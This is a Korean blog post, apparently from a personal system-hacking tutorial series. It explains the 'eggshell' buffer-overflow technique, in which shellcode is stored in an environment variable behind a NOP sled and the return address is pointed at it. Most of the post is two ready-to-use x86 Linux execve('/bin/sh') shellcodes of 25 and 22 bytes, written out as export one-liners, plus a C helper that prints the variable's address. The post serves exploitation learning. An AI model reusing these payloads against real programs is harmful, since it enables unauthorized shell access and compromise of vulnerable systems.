/*
written by kaspy (kaspyx@gmail.com)
*/
에그쉘(eggshell)이란 취약한 바이너리를 exploit 할때 버퍼의 주소 계산이나 버퍼 사이즈등의 난관으로 공략하기 어려울때 이를 환경변수에 등록해두고 이주소를 사용한다. 로컬(local) 환경에서만 사용할수있는 단점이있다.
아래 두개 쉘코드는 25 바이트 및 22바이트로 나름 경량화하였다.
사용법은 export 명령어를 사용하여 에그쉘을 환경변수로 등록하고 getenv 함수를 통하여 에그쉘의 주소를 얻어온후, 프로그램의 ret 주소를 getenv 함수의 주소로 변경한다. 끗
- shellcode 1 - 25 byte
- #include <stdlib.h>
- #include <stdio.h>
- //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh"'`
- int main()
- {
- char *p;
- p= getenv("kaspyx");
- printf("%x\n",p);
- return 0;
- }
- shellcode 2 - 22 byte
- #include <stdlib.h>
- #include <stdio.h>
- //export kaspyx=`python -c 'print "\x90"*10000+"\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh"'`
- int main()
- {
- char *p;
- p= getenv("kaspyx");
- printf("%x\n",p);
- return 0;
- }
참고 내부링크
리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4
리눅스 쉘코드(shellcode) 크기 줄이기 - http://kaspyx.kr/91
'IT > System Hacking' 카테고리의 다른 글
Buffer Overflow - RTL(Return to library) 기법 (0) | 2017.03.01 |
---|---|
ROP(Return Oriented Programming) (0) | 2017.02.27 |
리눅스 쉘코드(shellcode) 크기 줄이기 (0) | 2016.09.30 |
libc-database 사용법 (0) | 2016.07.28 |
포맷 스트링 버그(format string bug) 공격시에 플래그(flag)사용하기 (0) | 2016.04.20 |